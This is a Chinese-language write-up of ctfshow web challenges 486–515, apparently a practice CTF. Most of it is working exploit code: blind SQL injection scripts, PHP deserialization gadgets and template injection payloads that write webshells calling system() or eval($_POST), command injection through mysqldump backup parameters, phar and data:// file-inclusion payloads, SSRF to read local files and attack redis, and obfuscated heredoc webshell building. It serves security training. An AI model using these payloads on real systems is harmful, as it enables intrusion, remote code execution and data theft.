ctfshow中期测评

简介

我认为的ctfshow是一个用来培养自己解决问题能力的平台。

没有卡住的标记为√

web486√

后台扫描发现flag.php

结合报错信息包含。。

web487√

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

url = "http://fcd97f15-0d16-4de5-a13a-0e6412c443d4.challenge.ctf.show/index.php?action=check&username=admin\"')"
result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = f'or 1=if(ascii(substr((select group_concat(flag) from ctfshow.flag),{i},1))>{mid},sleep(1),0) -- -&password=admin'
#ctfshow
#flag,user
#flag
#ctfshow{ae5e5fa3-d1d2-40ee-b32e-13904333f973}
try:
r = requests.get(url + payload, timeout=0.5)
tail = mid
except Exception as e:
head = mid + 1

if head != 32:
result += chr(head)
else:
break
print(result)

web488√

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include('render/render_class.php');
include('render/db_class.php');



$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}

if($action=='check'){
$username=$_GET['username'];
$password=$_GET['password'];
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error',array('username'=>$username));
}
}

if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}

render_class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
ini_set('display_errors', 'On');
include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
ini_set('display_errors', 'On');

class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');
}

}

模板注入(?)

1
2
3
4
5
6
7
cache::create_cache 可以写入文件

render中调用了
cache::create_cache($template,$cache);

这里$template'error'
$cache

可以在username里写入一句话

web489√

变量覆盖盲注

和上一题读源码的方式相同

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
include('render/render_class.php');
include('render/db_class.php');

$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}

if($action=='check'){
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
extract($_GET);
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error');
}
}

if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}

if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}

12行的extract十分显眼,存在变量覆盖漏洞,那$sql我们也可控了

这样可以盲注

1
index.php?action=check&sql=select id from user where id = -1 or 1=2;

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url = "http://806b79c8-10ce-4e09-b1c7-a5eec69d6f88.challenge.ctf.show/index.php?action=check&sql="

#二分法
result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = f"select id from user where id = -1 or 1=if(ascii(substr((select load_file('/flag')),{i},1))<={mid},1,0);"
r = requests.get(url+payload)
if ("欢迎你" in r.text):
tail = mid
else:
head = mid +1

if head != 32:
result += chr(head)
else:
break
print(result)

web490√,web491√

盲注

1
2
3
4
5
6
7
8
9
10
if($action=='check'){
extract($_GET);
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$user->username));
}else{
templateUtil::render('error');
}
}

username处可以注入

username处可以注入,没有md5包裹,变量覆盖到上面了,所以其实后面的我们都不可控。

盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url = "http://4b962d26-b183-471c-b6ca-7c0ca0bac069.challenge.ctf.show/index.php?action=check&username="

#二分法
result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = f"admin' or if(ascii(substr((select load_file('/flag')),{i},1))>{mid},1,0);--%20qwe"
r = requests.get(url+payload)
if ("flag_here" in r.text):
head = mid +1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

web492√

模板代码注入

1
2
3
4
5
6
7
8
9
10
11
12
if($action=='check'){
extract($_GET);
if(preg_match('/^[A-Za-z0-9]+$/', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one_array($sql);
}
if($user){
templateUtil::render('index',$user);
}else{
templateUtil::render('error');
}
}

跳过第一个if判断,直接覆盖$user变量试试看。

看下templateUtil::render

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', '<!--'.$value.'-->', $templateContent);
}
return $templateContent;
}

}

那就是回到了488,但是下面value被注释掉了,闭合一下写入。

1
?action=check&user[username]=--><?=system('tac /f*')?><! --&username=;'-=

这里小坑:

user[username]

而user[‘username’]不行

image.png

image.png

细心点比较好。

web493√

1
2
3
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
$user=unserialize($c);

反序列化入口,$user类我们可控。

可以利用的类在/index.php?action=../render/db_class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class dbLog{
public $sql;
public $content;
public $log;

public function __construct(){
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}

直接用dbLog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class dbLog{
public $sql;
public $content;
public $log;


public function __construct($sql, $content, $log)
{
$this->sql = $sql;
$this->content = $content;
$this->log = $log;
}

}

$a = new dbLog("1","<?=system('cat /f*');?>","/var/www/html/2.php");
echo urlencode(serialize($a));

web494√,495√

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class dbLog{
public $sql;
public $content;
public $log;


public function __construct($sql, $content, $log)
{
$this->sql = $sql;
$this->content = $content;
$this->log = $log;
}

}

$a = new dbLog("1","<?=eval(\$_POST[1]);?>","/var/www/html/5.php");
echo serialize($a);
echo "\n";
echo urlencode(serialize($a));

image.png

web496*

1
#$user=unserialize($c);

上面三题的反序列化入口被修复了。

做着做着感觉,没有学到啥新东西。

image.png

1
-1' union select "username","test"; -- qwe

这里的注入可以让我们进到后台,$_SESSIO

后台可以发现api/admin_edit.php能够盲注

1
2
extract($_POST);
$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";

可以盲注,但是要先登陆后台。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import random

url1 = "http://98d554ee-ac65-4f47-90a2-e812ac904ea0.challenge.ctf.show/index.php?action=check"
url2 = "http://98d554ee-ac65-4f47-90a2-e812ac904ea0.challenge.ctf.show/api/admin_edit.php"
result = ''
i = 0

session = requests.session()
data = {
"username": "' || 1#",
"password": '1'
}
r1 = session.post(url=url1, data=data)

while True:
i = i + 1
head = 32
tail = 127
session = requests.session()
data = {
"username": "' || 1#",
"password": '1'
}
r1 = session.post(url=url1, data=data)

while head < tail:
mid = (head + tail) >> 1
payload = f"' or if(ascii(substr((select/**/group_concat(flagisherebutyouneverknow118)from(flagyoudontknow76)),{i},1))>{mid},1,0) -- qwe"
data2 = {
'nickname':random.randint(1,100000000000),
'user[username]':payload
}
req = session.post(url2,data2)
if ("\\u529f" in req.text):
head = mid +1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

第35行的反斜杠要转义(细节没注意到卡了一会儿)

web497

SSRF

render/render_class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static function checkImage($templateContent,$arg=array()){
foreach ($arg as $key => $value) {

if(stripos($templateContent, '{{img:'.$key.'}}')){
$encode='';
if(file_exists(__DIR__.'/../cache/'.md5($value))){
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
}else{
$ch=curl_init($value);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
$ret=chunk_split(base64_encode($result));
$encode = 'data:image/jpg/png/gif;base64,' . $ret;
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
}
$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
}

}
return $templateContent;
}

这里可以触发SSRF,$value为传入的图片路径,也就是头像。

api/admin_edit.php,这个登录后台就能看得到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if($user){
extract($_POST);
$user= $_SESSION['user'];
if(preg_match('/\'|\"|\\\/', $avatar)){
$ret['msg']='存在无效字符';
die(json_encode($ret));
}
$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'";
$db=new db();
if($db->update_one($sql)){
$_SESSION['user']['nickname']=$nickname;
$_SESSION['user']['avatar']=$avatar;
$ret['msg']='管理员信息修改成功';
}else{
$ret['msg']='管理员信息修改失败';
}
die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}

后台可以控制$_SESSION['user']['avatar'],直接打file:///flag

web498√

这道也是SSRF,触发点和上一题相同。

可以用gopherus直接打redis

web499√

api/admin_settings.php

用php文件保存序列化数据??

image.png

image.png

直接写入一句话

web500√

新页面api/admin_db_backup.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if($user){
extract($_POST);
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);


if(file_exists(__DIR__.'/../backup/'.$db_path)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}

直接拼接命令即可

web501√

漏洞点还是上面的admin_db_backup.php

1
2
3
4
5
6
7
if(preg_match('/^zip|tar|sql$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format);
if(file_exists(__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}

开头为zip即可绕过,拼接命令

web502√

1
2
3
4
5
6
7
if(preg_match('/^(zip|tar|sql)$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.$pre.$db_format);
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}

没对另一个变量过滤啊!

web503√

刚刚的洞给修了,那就是到后台看看有没有新功能。。

这什么,没见过

api/admin_upload.php

image.png

再结合之前的数据库类写phar,备份那个地方存在触发点也可控

image.png

1
pre=phar:///var/www/html/img/628941e623f5a967093007bf39be805f.jp&db_format=g

web504

不能读源码

上传模板处

1
name=../../../../../var/www/html/config/settings&content=O:2:"db":8:{s:2:"db";N;s:3:"log";O:5:"dbLog":3:{s:3:"sql";N;s:7:"content";N;s:3:"log";s:9:"log/1.php";}s:3:"sql";s:25:"<?php system($_GET[1]);?>";s:8:"username";s:4:"root";s:8:"password";s:4:"root";s:4:"port";s:4:"3306";s:4:"addr";s:9:"127.0.0.1";s:8:"database";s:7:"ctfshow";}

web505√

api/admin_file_view.php

1
2
3
4
5
6
extract($_POST);
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}

读取文件要求开头是user,就把一句话写在user后面然后包含即可

web506√

限制了新建模板后缀名,反正直接包含就行。

web507√

api/admin_file_view.php那里

1
debug=1&f=data:text/plain,user<?php system('cat /f*');?>

web508√

包含图片马

1
debug=1&f=/var/www/html/img/f3ccdd27d2000e3f9255a7e3e2c48800.jpg

web509√

上传功能点加了过滤

1
if(preg_match('/php|sml|phar|\:|data|file/i', file_get_contents($arr["tmp_name"]))){

改用短标签就行了,和上一题一样

web510

上传接口处增强了过滤

1
if(preg_match('/php|sml|phar|\:|data|file|<|>|\`|\?|=/i', file_get_contents($arr["tmp_name"]))){

包含session文件getshell

image.png

image.png

web511

1
nickname=`cat /f*`&avatar=1&username=1

然后上传一个新模板为

1
{{var:nickname}}

web512

这题看了bilibili的官方wp视频,群主嫩牛!

首先是渲染之前新增的过滤

image.png

群主提出没过滤很多关键符号

1
$ {} ; . =

通过这几个符号就可以拼接出webshell来,类似这样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$a = <<<a
eva
a;

$b = <<<a
l(\$_
a;

$c = <<<a
POS
a;

$d = <<<a
T{1});
a;
eval($a.$b.$c.$d);

突然想起来之前见过用define拼接的,这里插♂入一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
define("EV", "eva"."l");
define("GETCONT", "fil"."e_get_contents");
define("D",(GETCONT)('/var/www/html/index.php')[353]);//获取$
define("SHELL","<?php ".EV."(".D."_POST['a']);");
echo (GETCONT)('./shell.php');

class splf extends SplFileObject {

public function __destruct() {
parent::fwrite(SHELL);
}
}

define("PHARA", new splf('shell.php','w'));

然后通过调用db类来写入webshell,这里用到了clone方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1;
$a = <<<a
<?php includ
a;
$b = <<<a
e $
a;
$c = <<<a
_POS
a;
$d = <<<a
T{1}?>
a;
$e = <<<a
s.php
a;
$f = clone $db;
$db->log->log=$e;
$db->log->content=$a.$b.$c.$d;

直接包含data协议

image.png

web513

image.png

新建一个模板,new.sml,内容为

1
123{{cnzz}}

能够渲染{{cnzz}}

新建一个模板,1.sml,里面写上vps里放的一句话的地址,http://xxx.xxx.xxx.xxx/1

然后在配置里把cnzz,也就是页面统计,也就是上面的$config['cnzz']指向1.sml即可

web514

还是利用渲染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function checkFoot($templateContent){
if ( stripos($templateContent, '{{cnzz}}')) {
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$foot = $config['cnzz'];
if(is_file($foot)){
$foot=file_get_contents($foot);
if(!preg_match('/<|>|\?|=|php|sess|log|phar|\.|\[|\{|\(|_/', $foot)){
include($foot);
}

}

}
return $templateContent;
}

我们可以传入一个没有等于号的data协议来触发rce

1
name=12.sml&content[]=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJ3RhYyAvZionKTsvLzEyMz8+

web515

1
(msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40)

用参数嵌套绕过过滤

image.png